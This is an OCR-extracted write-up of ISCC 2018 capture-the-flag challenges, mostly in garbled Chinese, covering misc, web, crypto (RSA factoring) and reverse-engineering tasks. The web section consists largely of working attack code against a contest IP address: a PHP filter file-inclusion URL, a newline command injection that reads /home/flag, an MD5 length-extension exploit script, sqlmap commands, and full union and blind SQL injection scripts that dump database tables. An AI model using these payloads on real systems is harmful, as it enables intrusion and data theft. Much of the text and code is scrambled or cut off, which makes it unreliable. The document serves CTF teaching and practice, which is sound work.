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# -*- coding: utf-8 -*-
import binascii
import struct

crc32key = Ox402E2D95
'\x00\x00\x02\x72"
for i in range(256, 65535):

width =

#height

flag:

height =
#CRC: 9A768270

data = '\x49\x48\x44\x52' + width + height + '\x08\x06\x00\x00\x00"

struct.pack('>i', i)

crc32result = binascii.crc32(data) & Oxffffffff
if crc32result == crc32key:

print ''.join(map(lambda c: "%@2X" % ord(c), height))
= '\x00\x00\x02\x72"'

_Welcome_To ISCC_2018 _
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>>> from HTMLParser import HTMLParser

>>> h = HTMLParser()

>>> h.unescape('"' '&#92;&#117;&#48;&#48;&#54 ;&#54 ; &#92;&#117 ; &#48 ; &#A48 ; &#54 ; &#99 ; &#92 ; &#117 ; &#48; &#48 ; &#t54
#92; &#117 ; &#A48 ; &#A48 ; &#55 ; &#98; &#92 ; &#117 ; &#48 ; &#48 ; &#54 ; &#57 ; &#92 ; &#117 ; &#48 ; &#48; &#55 ; &#51 ; &#92 ; &#117 ; &#
;&it54 ;8451 ; &#92 ; &#117 ; &#A48 ; &#A8 ; &150 ; &t48 ; &192 ; &#t117 ; &##A48 ; &#48 ; &#54 ; &#57 ; &192 ; &1t 117 ; &#48 ; &#48 ; &##55 ; &#51 ; &
u'\\uee66\\uee6c\\uee61\\uee67\\uee7b\\uee69\\uee73\\uee63\\ue063\\ue020\\ude69\\uee73\\uee20\\uee66\\uoo
>>> h.unescape('"' '&#92;&#117;8&#48;&#48;&#54 ; &#54 ; &#92;&#117 ; &#48; &#A48 ; &#54 ; &#99 ; &#92 ; &#117 ; &#t48; &#48 ; &it54
#92; &#117 ; &#A48 ; &#A48 ; &#55; &#98; &#92 ; &#117 ; &#48 ; &#48 ; &#54 ; &#57 ; &#92 ; &#117 ; &#48 ; &#48; &#55 ; &#51 ; &#92 ; &#117 ; &#
17; 448 ; &#48 ; 8154 ; &#54 ; &#92 ; &##117 ; &#A8 ; &#48 ; &155 ; &153 ; &192 ; &#117 ; &#48 ; &#48 ; &#54 ; &#101 ; &192 ; &#117 ; &#48 ; &itd
pe').encode('utf-8")

'flag{iscc is fun}'
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import base64
import libnum

S

0x523156615245644E536C564856544E565130354B553064524D6C524E546B4A56535655795645644F5530524857544A4553553
s = libnum.n2s(s)
#print s

s = base64.b64decode(s)

s = base64.b32decode(s)
#print s

s = libnum.n2s(eval('@x'+s))

S

base64.b64decode(s)
base64.b32decode(s)
libnum.n2s(eval('Ox'+s))

S

S

print s
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All special symbols [1(2...) Mask: [@

Advanced ZIP Password Recovery statistics:
Total passwords 3,718,861
Total time Idms
Average speed [passwords per second) |11,843.570
¢ |Password for this file 18803718888 (]
; Password in HEX 31383830333731368383838 fa|
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Advanced ZIP Password Recovery statistics:
Encrypted ZIP-file:2018ISCC\misc\300\3\2.zip
Total passwords: 0

Total time: 3m 40s 724ms

Average speed (passwords per second): 0
Password for this file: Z!C@t#$12

Password in HEX: 5a 21 43 40 74 23 66 24 31 32

325 "R H L ZIC@t#f$12
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<?php
highlight_file('2.php');

$-F1ag= U {***************} U ;

if (isset($_GET['password'])) {
if (strcmp($_GET[ 'password’'], $flag) == 0)
die('Flag: '.$flag);
else
print 'Invalid password';
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Flag: ISCC{iscc_ef3wbr5tw_5rg5y6s3t3}
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<?php

include "flag.php";

if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");

if (!isset($_POST["flag"]) )
die($_403);

foreach ($_GET as $k => $v){

$$k = $$v;

}

foreach ($_POST as $k => $v){
$$k = $v;

}

if ( $_POST["flag"] !== $flag )

die($_403);
echo "flag: ". $flag . "\n";
die($_200);
?>

Wi Moreach (A C RS A7 7 FE 6 () A8 7 S5 U, tH TPOST it &flag, Bt LAt e — NifFI BT 5 il or,

FrLh REIPOST 240t & flagZ4l, wiaPAT G ma)ARID, Tflagis fthis w29 7 &5 Ul J POST i 2 (1 flag
SN, At LLZITE 55 —Mforeach i i Sk (M flag e & K25 $_200, FrlLAGETHZ42&_200=flag, POSTZ%
H A oflag, flagh %] DL EAE B A

ISCC{taolu2333333....}
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BEARMARCUAREN, FERKMASH A RN KBERBEBATILR, HARIEANR, SRR, FREE
XA LTI 4 i 05t

http:/118.190.152.202:8008/index.php?f=index

RARER AR A TURAE 5 e, EEMA A Sindexphp, flagit7/EPHP S B
http://118.190.152.202:8008/index.php?f=Php:/ffilter/read=convert.base64-encode/resource=index



<IDOCTYPE html>

<html lang="en">

<head>
<title>@fiii</title>
<meta charset="UTF-8">

</head>

<body>
<a href="index.php?f=articles&id=1"'>ID: 1</href>
</br>
<a href="index.php?f=articles&id=2"'>ID: 2</href>
</br>
<a href="index.php?f=articles&id=3"'>ID: 3</href>
</br>
<a href="index.php?f=articles&id=4'>ID: 4</href>
</br>

</body>

</html>

<?php
#ISCC{LFIO0000000000000}
if(isset($_GET['f']1)){

if(strpos($_GET['f'],"php") !== False){
die("error...");

}

else{
include($_GET['f'] . '.php');

}

?>

ISCC{LFIOOO00O000000000}

web02(100)

FIFFEEH U, SR A RANUIP, ZHRAXFFLR, PHPH G #EIPHI{E K T REMOTE_ADDRA!
HTTP_X FORWARDED _FORZ 4k, &4 —A A% FIIHTTP_CLIENT IP, ftheader ¥ nClient-ip
B, flaggik 1

ISCC{iscc_059eeb8c0c33eb62}

i ping# ip & R GEPingi# 5 2 (150)



FH k. RACLIE T, BIREAL.

SRR H A AL, NDTUR R Lping@ HIP, %5 EA S RICMPE BT, #F G AR R H:/Edocker HL [ il
H, Aargefliafs, AXRPREH, LLATIE ar S PATHRiF P, REENipZE, emmm, RARZ ST, EE&RT
AEPOLIE T, F\n(%0a)nl A4k ST A &

http://118.190.152.202:8018/?ip=localhost%0acat%0a/home/flag

ISCC{8a8646c7a2fce16b166fbc68cab5f9e4}

Please give me username and password!(150)

FdH & B2 B L usernameflipassword i NS4t &, Sl get 7 ikL 2, B R RIS 2 Username is
not right

Password is not numeric

, emmm, &S5 G IR EE

<?php
error_reporting(0);
$-F1ag = “***********“;
if(isset($_GET['username'])){
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";
}
else{
print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!’;
if (isset($_GET['password'])){
if (is_numeric($_GET[ 'password’'])){
if (strlen($_GET[ 'password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';
}else
print '<p>Password too little</p>';
}else
print '<p>Password too long</p>';
}else
print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
print $flag;
?>

username] #| i FiwebO14H[F], usernameZHfL Bk LT LA 17 55 /AT R AE N — K/ T4500E
KT %7, Rt %k 1e3011]: username[]=&password=1e3

flag{ISCC2018 Very GOOD!'}

Collide(250)
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<?php
include "secret.php";
@$username=(string)$_POST[ 'username'];
function enc($text){

global $key;

return md5($key.$text);

}
if(enc($username) === $_COOKIE[ 'verify']){
if(is_numeric(strpos($username, "admin"))){
die($flag);
}
else{
die("you are not admin");
}
}
else{
setcookie("verify", enc("guest"), time()+60*60*24%*7);
setcookie("len", strlen($key), time()+60*60*24*7);
}

show_source(__FILE_ );

XA AR IR IR 7E T 50 2 58 A Ak i Skey BEmdS E(E I R 2%, (H 2 mdB5HEAFLE 54— AN Til——hash K J&
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usernameL i LlguestIT=k, 0 &admin, [FAcookiet 4% E T keyHIK 46, FfLl—ITiASkey. Stextfs
(46+5)*8=4081, HFAHS1207 R FESNFHF, REAHERFECKE, W57, 58w \X98\X01, & M4k4:H 76
AMXO0fMH—H(51267), 2~ AH R Sadmin, Z5—Hu B8 faE AR & R 58 v s s, ZaE R
Bl cookier [ verify i (R4 B H i 25 5
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#! /usr/bin/python2

# *  coding: utf-8 _ *

import assassin_md5 #¥Assassin KEERIRIGIRTE Hassassin_md5. py/ikElexp.pyE—HK T
import hashlib

import urllib

import requests

#IGIE A E 7 AU B, IR AL I 75 /i 7 , VR 6458 —IREH M AN Z) 15
# 78cfc57d983b4al7e55828c001a3e781
sl = 0x7dc5cf78

s2 = 0x174a3b98
S3 = 0xc02858e5
s4 = 0x8le7a301
secret = "a"*46 + "guest"

secret_admin= secret +'\x80'+'\x00'*4+'\x98\x01"'+'\x00"'*6+"admin"
r = assassin_md5.deal_rawInputMsg(secret_admin)

inp = r[len(r)/2:] HPATHFHZBMWT R T, 2 AT L HI i3 7
#print r
#print inp

#print urllib.urlencode({'username': secret_admin[46:]})
#print "getmein:"+assassin_md5.run_md5(s1,s2,s3,s4,inp)

url = 'http://118.190.152.202:8002"

headers = {"Cookie": "verify="+assassin_md5.run_md5(sl,s2,s3,s4,inp),
"len": "46"}

data = {"username": str(secret_admin[46:])}

res = requests.post(headers = headers, url = url, data = data)
print res.content

iz17#3%flag: ISCC{MD5_1s_nOt 5afe}

5 # F H github L 1 — 4~ T. Ahash_extender

$./hash_extender -d guest -s 78cfc57d983b4al7e55828c001a3e781 -f md5 -a admin --out-data-format=html -1 46
5f585093a7fe86971766c3d25c43d@ebguest’%807%00%00%00%00%98%01%007%00%00%00%00%00admin

guesti i 32f gt &md5fE, Fl T FtusernameZ U HIE, F 3 YT #8486 14F 535 burpsuitet— "~ post ) £ Rl i)
SQLE A 112 K (200)

MEH AW T REANE, ARA—ANZSH, UIEANSEER, SMEB—, KIT MM R
AN—FE, LA TN

http://118.190.152.202:8015/index.php?id=1 %df%27 && 1=2%23
http://118.190.152.202:8015/index.php?id=-1 %df%27 || 1=1%23

HEAR R B F T EN, B sqlmapi st oy LA 1

sqlmap -u http://118.190.152.202:8015/index.php?id=-1%df%27 --dbs

sqlmap -u http://118.190.152.202:8015/index.php?id=-1%df%27 -D baji --tables

sqlmap -u http://118.190.152.202:8015/index.php?id=-1%df%27 -D baji -T admins --columns
sqlmap -u http://118.190.152.202:8015/index.php?id=-1%df%27 -D baji -T admins -C flag --dump


https://github.com/iagox86/hash_extender

flag:YOu_@@33w_dxxmn_9rf0Od

Fx 7 Hsqlmapifd th i LLE 5 AR, tRIRZ, d Tl e hwhere 6 1A 2E 28, BT DAAE DL BC o8 12 ) R
AN B AL IR 73 RV

#! /usr/bin/python2

# *_ coding: utf-8 __ *
import requests

from bs4 import BeautifulSoup

IR PE 4

url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,7,8%23"
res = requests.get(url)

soup = BeautifulSoup(res.content, 'lxml')

res = soup.find_all('tr')[0]

print("database: " + str(res)[32:-10])

db = str(res)[32:-10]

AR B R 22 1 S 8

url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select count(*)
res = requests.get(url)

soup = BeautifulSoup(res.content, 'lxml')

res = soup.find_all('tr')[1]

print("tables_count: " + str(res)[33:-10])

count = int(str(res)[33:-10])

#HBH A ERA, KRR T A8 R
tablelList = []
for i in range(count):
print("\r[+] " + str(i) + "/" + str(count), end="")
url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select table
res = requests.get(url)
soup = BeautifulSoup(res.content, 'lxml')
res = soup.find_all('tr')[1]
tb = str(res)[33:-10]
url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select count
res = requests.get(url)
if(len(res.content) < 2000):
continue
tablelList.append(db + "." + tb)

print("\n[OK] ", end="")
print(tableList)

ORI B A

columnsList = []

url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select count(*)
res = requests.get(url)

soup = BeautifulSoup(res.content, 'lxml')

res = soup.find_all('tr')[1]

print("columns_count: " + str(res)[33:-10])

count = int(str(res)[33:-10])

HIE A 7B A, HH B AR I B
for i in range(count):
print("\r[+] " + str(i) + "/" + str(count), end="")



url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select colum
res = requests.get(url)

soup = BeautifulSoup(res.content, 'lxml')

res = soup.find_all('tr')[1]

cl = str(res)[33:-10]

for tb in tablelist:

url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select c

res = requests.get(url)

if(len(res.content) < 2000):
continue

else:
columnsList.append(tb)
columnsList.append(cl)
res = requests.get(url)
soup = BeautifulSoup(res.content, 'lxml')
res = soup.find_all('tr')[1]
clcount = int(str(res)[33:-10])
columnsList.append(clcount)

print("\n[OK] ", end="")
print(len(columnsList))
print(columnsList)

#dump 24 5 EHE A s
for i in range(@, len(columnsList), 3):
print("[+] " + str(i) + "/" + str(len(columnsList)))
for j in range(columnsList[i + 2]):
url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select "
res = requests.get(url)
if(len(res.content) < 2000):
continue
soup = BeautifulSoup(res.content, 'lxml')
res = soup.find_all('tr')[1]
print(columnsList[i], columnsList[i + 1], str(res)[33:-10])

PATE R Eor, HdlEE4 febaji, &4 fZadmins, f— > Bidiiflag
php#e it 5 _F & 4 {115 5 (150)

B F A U7 AR Fphp?
PREG



<?php
header("content-type:text/html;charset=utf-8");
if(isset($_POST['username'])&isset($_POST[ 'password’'])){
$username = $_POST[ 'username'];
$password = $_POST[ 'password'];

}

else{
$username="hello";
$password="hello";

}

if(mds($password) == 0){
echo "xxxxx";

R HIPHPES M, B —-mdS{E 2 0e It Sk 1745 H S A\ B s U AERE R ), Seid i bLB R 15 21— Mk,
& 53— AR

<?php

include 'flag.php’;
$a = @$_REQUEST['a'];
@eval("var_dump($%$a);");
show_source(__FILE_ );

?>

FHE A2 Ha=hello, #hellof’yGLOBALS, #tn] LAFT BN i PHPSC /A BRI BT A A8 &, 7l LG A —A4
seflag (48R, a=flagst RITEI T flag)

ISCC{a39f9a1ffreb4bab8a6a21b2ce111b4}

R4 43X 4 T HLRT(100)
RYE 8 H$2~, % &Referer yhttp://edu.xss.tv, [FIRXFFi%&E 75110.110.110.110, #EANE %, EHEVHELA]
PR PN % password.js, 1%

var password = eval(function(p,a,c,k,e,r){e=String;if('0"'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[Ffunc

LA Bibase64gm it (1) N 25 il Rl /&, B LA IS4 Axinyiji.com, 3%Iflag: B1H3n5u0xI2n9JIscc
Sqli(250)
AH R R
WAHEEIER S, BRI
import requests

import string

dic = string.printable



url = 'http://118.190.152.202:8011/"

headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86; rv:59.0) Gecko/20100101 Firefox/59.0"',
'Accept’': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
'Accept-Encoding': 'gzip, deflate’,
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '28°',
'Cookie': 'PHPSESSID=rq3r@ek7jabavlv5bjntif8ul3’,

'DNT': '1°',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1'}
#username = ''‘'admin' and if(ascii(substr(database(),{i},1))>{j},1,0)#'"'" % i,]

#for i in range(20):

# username = '''admin' and if(length(database())=%s, 1, @)#''" % str(i)
# data = {'username': username,

# 'password': 'aaa'}

# res = requests.post(headers = headers, url = url, data = data)
# if('normal’ in res.text):

# dblen = 1

# break

#print(dblen)

dblen = 13

#

#db = "'

#for i in range(1, dblen + 1):

# for j in dic:

# username = ''‘'admin' and if(substr(database(),%d,1)="%c", 1, @)#'"" % (i,7)
# data = {'username': username,

# "password': 'aaa'}

# res = requests.post(headers = headers, url = url, data = data)
# if('normal’ in res.text):

# db += j

# print(db)

# break

#

#print(db)

db = 'sqli_database’

#for i in range(20):

# username = admin' and if((select count(table_name) from information_schema.tables where table_sch
# data = {'username': username,

# 'password': 'aaa'}

# res = requests.post(headers = headers, url = url, data = data)

# if('normal' in res.text):

# tbcount = i

# break

#print(tbcount)

tbcount = 2

#tblen = []

#for i in range(tbcount):
# for j in range(20):

# username = ''‘'admin' and if((select length(table_name) from information_schema.tables where tabl
# data = {'username': username,

# 'password': 'aaa'}

# res = requests.post(headers = headers, url = url, data = data)

# if('normal’ in res.text):

#

tblen.append(j)



#
#

#

break

print(tblen)
tblen = [4,4]

#tbnames = []
#for k in range(tbcount):

# tb = "'

# for i in range(1, tblen[k] + 1):

# for j in dic:

# username = ''‘admin' and if(substr((select table_name from information_schema.tables where t
# data = {'username': username,

# 'password': 'aaa'}

# res = requests.post(headers = headers, url = url, data = data)
# if('normal’ in res.text):

# if(j == dic[-1]):

# i = dblen + 1

# break

# tb += j

# print(tb)

# break

# tbnames.append(tb)

#

#print(tbnames)

tbnames = ['news', 'user']

#colcount = []
#for tb in tbnames:

# for i in range(50):

# username = ''‘'admin' and if((select count(column_name) from information_schema.columns where tab
# data = {'username': username,

# "password': 'aaa'}

# res = requests.post(headers = headers, url = url, data = data)
# if('normal’ in res.text):

# colcount.append(i)

# print(i)

# break

#print(colcount)

#colcount = [6, 45]

#

#collen [1]

#for k in range(tbcount):

H OH OH OH OH OH OH OB OH OB

for i in range(colcount[k]):

#texit()
#collen = [5, 4, 30, 2, 4, 4, 4, 4, 8, 11, 11, 11, 11, 11, 9, 11, 13, 12, 9, 10, 15, 10, 10, 12, 10, 21,

#

for j in range(50):

username = admin' and if(length((select column_name from information_schema.columns where
data = {'username': username,
'password': 'aaa'}
res = requests.post(headers = headers, url = url, data = data)
if('normal’ in res.text):
collen.append(3j)
break

print(collen)

#colnames = []
#for k in range(tbcount):
for 1m in range(colcount[k]):

#

#
#
#

col =
print(collen[1m])
for i in range(1. collenl1lml + 1):



H OH OH O OH O OH OH O OH O H OB H

for j in dic:
username = ''‘admin' and if(substr((select column_name from information_schema.columns w
data = {'username': username,
'password': 'aaa'}
res = requests.post(headers = headers, url = url, data = data)
if('normal’ in res.text):
if(j == dic[-1]):
i = collen[1lm] + 1
break
col += j
print(tbnames[k], col)
break

colnames.append(tbnames[k] + + col)

#print(colnames)

#colnames = ['news:title', 'news:note', 'news:kjafuibafuohnuvwnruniguankacbh', 'news:id', 'news:date', 'n

for i in range(50):

username = admin' and if(((select count(kjafuibafuohnuvwnruniguankacbh) from sqli_database.news))=
data = {'username': username,
'password': 'aaa'}
res = requests.post(headers = headers, url = url, data = data)
if('normal’ in res.text):
datacount = i
break

print(datacount)
#datacount = 1

for i in range(50):

username = admin' and if(((select length(kjafuibafuohnuvwnruniguankacbh) from sqli_database.news))
data = {'username': username,
"password': 'aaa'}
res = requests.post(headers = headers, url = url, data = data)
if('normal’ in res.text):
datalen = i

break

print(datalen)

flag = '

for i in range(1, datalen + 1):

for j in dic:

username = admin' and if(substr((select kjafuibafuohnuvwnruniguankacbh from sqli_database.news
data = {'username': username,
'password': 'aaa'}
res = requests.post(headers = headers, url = url, data = data)
if('normal’ in res.text):
flag += j
break
print(flag)

flag{hahaha999999999}



Reverse( Author: M4x )
RSA256(100)

= =W irsady -4 ZEHCEL i B
5 7 ANV I S R A TE 15,1 Tl openssI 85 nftle, il bl FL: AR PR S B
WAL, A R B

$openssl rsa -pubin -text -modulus -in ./public.key
Public-Key: (256 bit)
Modulus:
00:d9:9e:95:22:96:26:d9:60:df:c2:50:4a:ba:54:
5b:94:42:d6:0a:7b:9e:93:0a:ff:45:1c:78:ec:55:
d5:55:eb
Exponent: 65537 (0x10001)
Modulus=D99E952296A6D960DFC2504ABA545B9442D60A7BOE930AFF451C78EC55D555EB
writing RSA key

MDwwDQYJKoZIhvcNAQEBBQADKWAWKAThANmelSKWpt1g38IQSrpUWSRC1gp7npMK
/0@UceOXV1VXrAgMBAAE=

$rsatool -n 98432079271513130981267919056149161631892822707167177858831841699521774310891 -p 30282553674409
Using (p, q) to initialise RSA instance

n =
d99e952296a6d960dfc2504aba545b9442d60a7b9e930aff451c78ec55d555eb

e = 65537 (0x10001)

d =
4547b732cbc3527104cb57c4728d6899b44c4994Fae2713d6b594bcOf522a41

302825536744096741518546212761194311477 (0xe3d213bBa3c9551f9fbleb8d7c3daf35)

©
n

325045504186436346209877301320131277983 (0xf4897caaba80236bdc1b59385c4bf49 )

Ke]
I

dP = 14892453193253029554515379766076098477 (0xb342ealb63c55825bal2d5b64ebc7ad)

dQ = 49314546715988473539600683690526958771 (0x2519a2df68323ead839466ale566e4b3)

gInv = 202808955982661073098368600366992163939 (0x98939589a7919cfaf48f7486a78d8463)

Saving PEM as privkey.key

$for i in “1s encrypted*” ;do openssl rsautl -decrypt -in $i -inkey ./privkey.key;done
flag{3b6d3806-4b2b

-11e7-95a0-

000c29d7e93d}

835 % > — T pycryptolf) FH %


http://factordb.com/

fujian cat decrypt.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from base64 import bé64decode, b64encode

with open("./privkey.key") as f:
prikey = f.read()
rsakey = RSA.importKey(prikey)
cipher = PKCS1_v1_5.new(rsakey)

flag = ""

with open("./encrypted.messagel") as f1l, open("./encrypted.message2") as f2, open("./encrypted.message3")
flag += cipher.decrypt(fl.read(), "ERROR")
flag += cipher.decrypt(f2.read(), "ERROR")
flag += cipher.decrypt(f3.read(), "ERROR")

print flag.replace("\n", "")
# flag{3b6d3806-4b2b-11e7-95a0-000c29d7e93d}

leftleftrightright(150)

RAEER] T AR, EHESLAES T

NI SR A KR upx5e, upx -dE R E BT, KIUEZ A checkiin NI H  (E —AMlinuxer, H %G
Hwinet iz 17 17— 1, XMW AIRE RIS A DRREL, fEileui )

ISCC2018_rel50 [masteree] file leftleftrightright.exe
leftleftrightright.exe: PE32 executable (console) Intel 80386, for MS Windows, UPX compressed
ISCC2018_rel50 [masteree] upx -d ./leftleftrightright.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2013

UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013
File size Ratio Format Name
18432 <- 10752  58.33% win32/pe leftleftrightright.exe

Unpacked 1 file.

ISCC2018 rel50 [masteree] file leftleftrightright.exe

leftleftrightright.exe: PE32 executable (console) Intel 80386, for MS Windows
ISCC2018_rel50 [masteree] chmod +x leftleftrightright.exe

ISCC2018_rel50 [masteree] ./leftleftrightright.exe
0009:fixme:msvcp:_Locinfo__Locinfo_ctor_cat_cstr (0x32fcbc 1 C) semi-stub
aaaaaaa

0009:fixme:msvcp:_Locinfo__Locinfo_ctor_cat_cstr (0x32fdlic 1 C) semi-stub

try again!

TR kL. . . %



HERIDAR ST 20, R T AR, RIAFEIsDebuggerPresent I SE LN Ji5

flag: s imsaplw e _siishtnt{g _ialt}F, uH 752k, ZJcnopfilsDebuggerPresent, JLEi&0 4T, #HEZIIDAE
F5 K%, mainek B i Dy RS ANC g d AR EL, (HRERT LLE HAEIRA T A\ &0l — il 4 5 145 sub_401090() i
Hicheck, L EINIERflag, [FIRFREHE Hiflagh&E ~29(0x1D)

if ( sub_401090(v16) || v15 < @x1D || (vi7 = "flag is right!", v15 > @xi1D) )
vl7 = "try again!";

v18 = sub_401BFO(std::cout, v17, sub_401E30);

std::basic_ostream<char,std::char_traits<char>>::operator<<(vi8, v19);

system("pause");

S AR R VA PO (B A AT R, T Blwindows F i K I Ollydbg it (it i
Jek 2xfIsDebuggerPresent (i H Jfnop##, 7] LAZEIDARimport BT [l i x38 X 51 HERFD , XIS H] 75—
AN . S fEwindows T B $#crash

B leftleftrightright. exe
B ! leftleftrightright exe BEIFTE
Windews BILABHIIGE % AR ATEE «
& EHEERIGEIXHERE

| 5 XHBR

:JE%M%&%EE

Pyt ODH B K, R AEE (i B crash it BLA AL E
=1 O . T 0L 0T -} - .3 L 2SS C 1= S | ) ) D ) L el il

08352948 § 55 ebp ~| #=7=52 (FPU) <
8@352941( . 8BEC mov ebp,esp

76FA3358 kernel32._BaseThreadInitThu
80352943| . 83EC 14 sub esp,

{ 80800000
80352946| . 8365 F4 B0 |and dword ptr ss:[ebp-B8xC], X 803524C7 leftleft.<HoduleEntryPoint
8365 F8 B8 and dword ptr ss:[ebp-8x8],

: X\ FEFDEBBA
8835294E A1 88684888 (mov eax,dword ptr ds:[B=L486068] 803 6FDES
push esi

! 883 0FDFC
push edi

. ooeeee88
JEEGL4BBE |mov edi,B@xBBALBEGLUE aeeeeEeen
B0BOFFFF |mov esi,BxFFFFO0E0

leftleft. 08835294

O(FFFFFFFF)
80352961 7 O(FFFFFFFF)
80352962 7 O(FFFFFFFF
00352963

00352064

80352965 2{i7 B(FFFFFFFF)
00352966 09 db 09

crashitt LA SR IASHE 534, KIS [ds + 0x40600]& —ANA Al s (i, 3 i 548 iE >kwindows vitia (writeupH
fr);2windows 2008 server) &I DL ERRAGIA TaslrfiR, SFERETHRN RSN ZFENLE), W R BUE bk &
A0 (PLanxEs) , R REBkEIA AT g hhl, FEfrcrash, 407577 LLE


https://www.52pojie.cn/forum.php?mod=viewthread&tid=393505

—UBtrick:

o ODIEARS Lt oM, "I LAk A, B A% iEODE T 2 #r
o ctrl + ART AEE T 70 4 AR A AR, B BEFE RN K Bdim i o AXRD

[l 7 — MR IR T AT A E R BBk, [ R AR IR S, FTITRR R, ATl B
IEHTAET, T EOD, IR JLPIRES)E BIREIRE], checkpi B AT &R, FEiX a8 ff, HAM
NS, XUEANPEMATFA SR ENAE, R kERA, WERIANIERR & 7 RARAE e, m
A DA B AL, 2Emi Pk R Hiflag

//check REA 2 AR Hi N
int _ cdecl sub_401090(unsigned int al)
{

int v1; // ecx

const char *v3; // esi

unsigned int v4; // edx

bool v5; // cf

unsigned __int8 v6; // al

unsigned __int8 v7; // al

unsigned _ int8 v8; // al

if ( lal )
return 0;
v3 = "s_imsaplw_e siishtnt{g_ialt}F";
v4d = al - 4;
if (al<4)
{
LABEL_6:
if (v4 == -4)
return 0;
¥
else
{
while ( *(_DWORD *)vl == *(_DWORD *)v3 )
{
vl += 4;
V3 += 4;
v5 = v4 < 4;
v4 -= 4;
if (v5)
goto LABEL_6;
}
}
v5 = *(_BYTE *)vl < (const unsigned __int8)*v3;
if ( *(_BYTE *)vl != *v3 )
return -v5 | 1;
if (v4 1= -3)
{
v6 = *(_BYTE *)(vl + 1);
V5 = v6 < Vv3[1];
if ( ve !'= v3[1] )
return -v5 | 1;
if (v4 1= -2)
{
v7 = *(_BYTE *)(vl + 2);

UE — w7 <, uAl21.


https://www.52pojie.cn/thread-377450-1-1.html

B
if ( v7 1= v3[2] )
return -v5 | 1;
if (val= -1)
{
v8 = *(_BYTE *)(vl + 3);
v5 = v8 < v3[3];
if ( v8 != v3[3] )
return -v5 | 1;

TRIA T E A check i 22 5 T T s

.text:0@4012F6 ; 112: if ( sub_4@01@9@(vi6) || vi5 < @xiD || (vi7 = "flag is right!", vi5 > @x1D)
.text:004012F6 push eax
.text:004012F7 call sub_4081090
add esp, 4
.text:004012FF test eax, eax
.text:00401301 jnz short loc_40130F
.text:00401303 cmp edi, 1Dh
BAT, HAN290AN [F] 1Bl 5 M 5%

ASCII "onpgmlrskjtuihvwgfzyedzAcbBCa™ ‘_\\

UNICODE “'B™

ASCII "abcdefghijklmnopgrstuvwxzyzABC™ 4/’/;

leftleft.884812FC

P T RALAE A A, X0 K Eflag 1, IR

ISCC2018_rel50 [masteree] cat solve.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-

__Auther__ = "M4x'

encrypt = "s_imsaplw_e_ siishtnt{g _ialt}F"

before = "abcdefghijklmnopgrstuvwxyzABC"
after = "onpgmlrskjtuihvwgfxyedzAcbBCa"

flag = [encrypt[after.find(c)] for c in before]
print "".join(flag)

ISCC2018 rel50 [masteree] python solve.py
Flag{this_was_simple_isnt_it}

ISCC2018_rel50 [masteree]

DL 5 writeuphs 485 4R & BT B fd v, B g vk i B JEL R B 1% 42 windows 2008 serverft) loadiil
#1 5 windows 1045, windows 2008 serveri| K2, JREEEWIT:



[l S exe IS H LN 5, KIiaiT Flcinit, FEFE Xcerash 7, XA A 2windows10 R dll it 2 2 bkt 2 BE L
1, il thiasir_disabler.exesb B i J5 Mexe, KILAXpesk i — A7k 7 —~Ar (A7 LLiE010 editorf)
compareJREAE ) , TR 1 PR EE:

1. HFlexeld I, 12 HpekH & H ALt
2. fEod ik IRl 2 b T3 45 8 H Atk

RIS —MINERALER, REAS, RA W REE ARG E R . TR EODIIR M i f e dIlf
gk, W7 NRIESIM TR, G T XA R B wine B L A LLIE R IEAT, TREER T —
TiRAwine InEk MR T I 7715, googleffI BT A 45 Ak i — A T A , FEMEman TR E, e aT BLEL
gdbti X Ea, =k 17— T, KIAEE DM SRk, {Cpatch)mfiexek 4 — A Harchi K25 1 —
N e T (R, BB R BEwIine I RRA L, TR IR IBEI K 1 apt 2 3 H)2.0/wine, TEhgm i 1 —
4~3.8[1jwine, #XJiwinedbg --gdb ./leftleftrightright.exe, & Tk T, /)57 A& Hollydbghf —
BT, BT Wl A AR BT S AT R B AT

D OxfFffffff

: 0x0
("feghdcijbakl98mn760p54qr32st10" ) ——

: 0x19

("0123456789abcdefghijklmnopgrst™) ""’/‘

-

0x4012f3:

0x4012f6:

0x4012f7:

0x4012fc: int3

0x4012fd: les eax, FWORD PTR [eax*4-0x7cf38a40]
0x401304: call FWORD PTR ds:0x1cba0772
0x40130a: inc edx

patch & it exe A fig B i A8 AT DAAE SR Y Bt %l

o XIEMHAME, HISLERTADRA, EPAERIEINEEMaghfigmis K55 T, HR4EE B 4 Kleftleftrightright(R 25 5 1%
HHiEHfiflag (GRAEZR Pewinel il T LR 45 H T flag)

o winedbgfli Fgdbt 05 sl , iRl HpwndbgfE vtdift, &RBIMEENLE, fiiHpedadi#gefi &G 2 GX M2 KIE
oS IRIRID

o RIFFiA 2Rt fEwindows vistabl FHRA (fnwindows xp) Fiztrexe, A, HRFER A E HIXMEF A
vs20154m 1E 1), R T —BRIBRAEE g, SN REEexe FigAT


https://manpages.debian.org/stretch/wine-development/winedbg-development.1.en.html
